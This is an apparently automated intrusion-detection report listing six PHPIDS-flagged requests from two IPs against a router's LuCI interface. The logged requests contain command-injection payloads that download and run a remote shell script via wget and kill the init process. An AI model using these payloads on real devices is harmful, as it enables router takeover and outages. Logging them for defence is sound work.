Summary: 6 incidents discovered from 2 clients

	74.50.83.218 | 3 incidents | impact ∑: 57	attacks only
	Description: A targeted scan from United States, Union City yesterday. A total of 3 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in United States, so it might be carried out by a hobbyist on caffeine.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 27 xss csrf dt id lfi sqli United States, Union City 74.50.83.218 - - Thu, 28 Nov 2024 02:36:28 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`/bin/busybox /bin/sh -c /bin/kill 1;`) HTTP/1.1 302 651 - Go-http-client/1.1 0 none United States, Union City 74.50.83.218 - - Thu, 28 Nov 2024 02:36:33 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi United States, Union City 74.50.83.218 - - Thu, 28 Nov 2024 06:48:36 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.19.215/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none United States, Union City 74.50.83.218 - - Thu, 28 Nov 2024 06:48:43 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - - 15 xss csrf sqli id lfi United States, Union City 74.50.83.218 - - Thu, 28 Nov 2024 13:54:12 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.19.215/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none United States, Union City 74.50.83.218 - - Thu, 28 Nov 2024 13:54:21 +0100 \x16\x03\x01\x05\xa8\x01 400 392 - -

	185.224.128.67 | 3 incidents | impact ∑: 45	attacks only
	Description: A targeted scan yesterday. A total of 3 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi - 185.224.128.67 - - Thu, 28 Nov 2024 01:57:10 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.19.215/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.67 - - Thu, 28 Nov 2024 01:57:24 +0100 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.67 - - Thu, 28 Nov 2024 05:38:03 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.19.215/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.67 - - Thu, 28 Nov 2024 05:38:03 +0100 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.67 - - Thu, 28 Nov 2024 19:51:27 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.19.215/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.67 - - Thu, 28 Nov 2024 19:51:28 +0100 \x16\x03\x01 400 392 - -